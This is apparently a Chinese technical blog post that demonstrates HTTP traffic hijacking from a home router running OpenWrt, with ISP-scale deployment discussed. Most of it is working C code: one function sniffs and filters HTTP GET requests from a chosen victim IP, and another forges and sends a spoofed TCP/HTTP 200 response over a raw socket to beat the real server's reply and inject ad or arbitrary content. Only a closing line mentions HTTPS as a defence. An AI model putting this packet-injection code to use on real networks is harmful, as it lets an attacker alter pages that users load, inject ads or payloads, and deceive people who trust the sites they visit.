流量劫持比较复杂,一般来说运营商,路由器厂商,黑客都可能是流量劫持操作者。基于国内大部分网站以http明文协议为主,这无疑给劫持者提供了土壤。
本文演示了家庭路由器流量劫持实现,公共WIFI连接授权实现有点差异,它是用iptables重定向至webserver,有兴趣的同学可参考nodogsplash实现源码。
一. 原理图
原理:
1. 嗅探用户http get请求流量。
2. 伪造http 200包(插入广告代码)。
两种场景:
1. 路由器侧
在路由器侧通过旁路的方式(libpcap)嗅探流量,并将伪造响应先于真实响应前发送给用户,后到的真实响应会被协议栈丢弃。
2. ISP侧
ISP网络设备流量分光至服务器,通过DPDK方式嗅探流量,并回收200 OK包。
二. 代码实现
2.1 实现环境
router: TP-LINK
router os: openwrt
lib:libpcap
2.2 核心代码
1. libpcap流量嗅探
libpcap库使用,尚不演示。
2. 数据处理部分
/** * 数据帧处理 */ void HandleFrame( char *pdata ) { if( pdata == NULL ) return; struct ethhdr *pe; struct iphdr *iphead; struct tcphdr *tcp; char *Data = NULL; unsigned int Length = 0; URLInfo host = {}; int offset = 0; pe = (struct ethhdr*)pdata; /// vlan if( ntohs(pe->h_proto) == ETHERTYPE_VLAN ) // vlan { offset = 4; } else if( ntohs(pe->h_proto) != ETHERTYPE_IP ) // ip { return; } /// ip iphead = (struct iphdr*)( pdata + offset + sizeof(struct ethhdr) ); if( NULL == iphead ) { return; } if( iphead->protocol != IPPROTO_TCP ) { return; } /// tcp tcp = (struct tcphdr*)((char*)iphead + sizeof(struct ip)); if( NULL == tcp ) { return; } /// 只过滤80端口 if( ntohs(tcp->dest) != 80 ) { return; } Length = htons(iphead->tot_len) - iphead->ihl*4 - tcp->doff*4; if( Length < 20 || Length > 3000 ) { return; } Data = (char*)tcp + sizeof(struct tcphdr); /// GET请求 if( ntohl(*(unsigned int*)Data) != VALUE_GET) { return; } // 解析http get头部 if( !mParser->parseHttp(Data,Length,&host) ) { return; } // 主域名且为*.htm,只过滤指定终端http请求 if( iphead->saddr == PreventIP ) { printf( "IP:%u %s/%s\n",iphead->saddr,host.host,host.path ); if( host.plen == 0 ) { /// 伪造响应 sendHttpResponse( (char*)iphead,response ); } } }
3. 协议伪造部分
/** * 发送HTTP响应 */ bool sendHttpResponse( char *buff, char *response ) { struct iphdr *ip = (struct iphdr*)buff; struct tcphdr *tcp = (struct tcphdr*)((char*)buff + sizeof(struct iphdr)); int nHeadLen = ip->ihl*4 + tcp->doff*4; int Length = htons(ip->tot_len) - ip->ihl*4 - tcp->doff*4; char *pPacketBuffer = this->PacketBuffer; memset( (void*)pPacketBuffer,0,PACKET_BUFFER_LEN ); // 添加html char *ContentBuffer = pPacketBuffer + 350; int nContentLen = snprintf( ContentBuffer, 1300, response ); // 内容长度 char strLen[25]; int cLen = sprintf( strLen, "%d\r\n\r\n", nContentLen ); /* * nHeadLen(iphead +tcphead) + http_head + content_length + content */ pPacketBuffer = ContentBuffer - ( nHeadLen + sizeof(HTTP_HEAD)-1 + cLen ); memcpy( pPacketBuffer, ip, nHeadLen ); memcpy( pPacketBuffer + nHeadLen, HTTP_HEAD, sizeof(HTTP_HEAD) ); memcpy( pPacketBuffer + nHeadLen + sizeof(HTTP_HEAD)-1,strLen,cLen ); // IP struct iphdr *pTempIP = (struct iphdr*)pPacketBuffer; pTempIP->version = 4; pTempIP->ihl = 5; pTempIP->protocol = IPPROTO_TCP; pTempIP->saddr = ip->daddr; pTempIP->daddr = ip->saddr; // TCP struct tcphdr *pTempTcp = (struct tcphdr*)((char*)pTempIP + sizeof(struct iphdr)); if( pTempTcp == NULL ) { printf( "%s\n","TCP NULL" ); return false; } pTempTcp->source = tcp->dest; pTempTcp->dest = tcp->source; pTempTcp->seq = tcp->ack_seq; pTempTcp->ack_seq = ntohl( ntohl(tcp->seq) + Length ); pTempTcp->ack = 1; pTempTcp->fin = 0; pTempTcp->psh = 1; // 校验和 int nLen = nHeadLen + sizeof(HTTP_HEAD)-1 + cLen + nContentLen; pTempIP->tot_len = htons(nLen); IPCheckSum(pTempIP); // 原始套接字发送HTTP响应 m_addr.sin_addr.s_addr = pTempIP->daddr; int count = sendto( m_rawsock, (const char*)pTempIP, ntohs(pTempIP->tot_len), 0, (struct sockaddr *)&m_addr, sizeof(struct sockaddr_in) ); return count > 0; }
4. 其它算法
a. CRC32校验和计算,参见内核实现
b. TCP/UDP的checksum,需要包含一个伪IP Header。
三. 测试
请求www.163.com,浏览器显示 Hello world。
四. 扩展
本文演示了家庭路由器流量劫持实现,由于家庭流量较小,且路由器资源有限,用传统的libpcap勉强能支撑。
如果是ISP机房流量,则需要考虑DPDK高性能采集框架。
反劫持手段,网站使用https加密,虽说可采用中间人攻击手段,但是无法量产,不太常用。近年来国内厂商对劫持引起重视,百度,京东,淘宝都采用了https加密网站。
附录: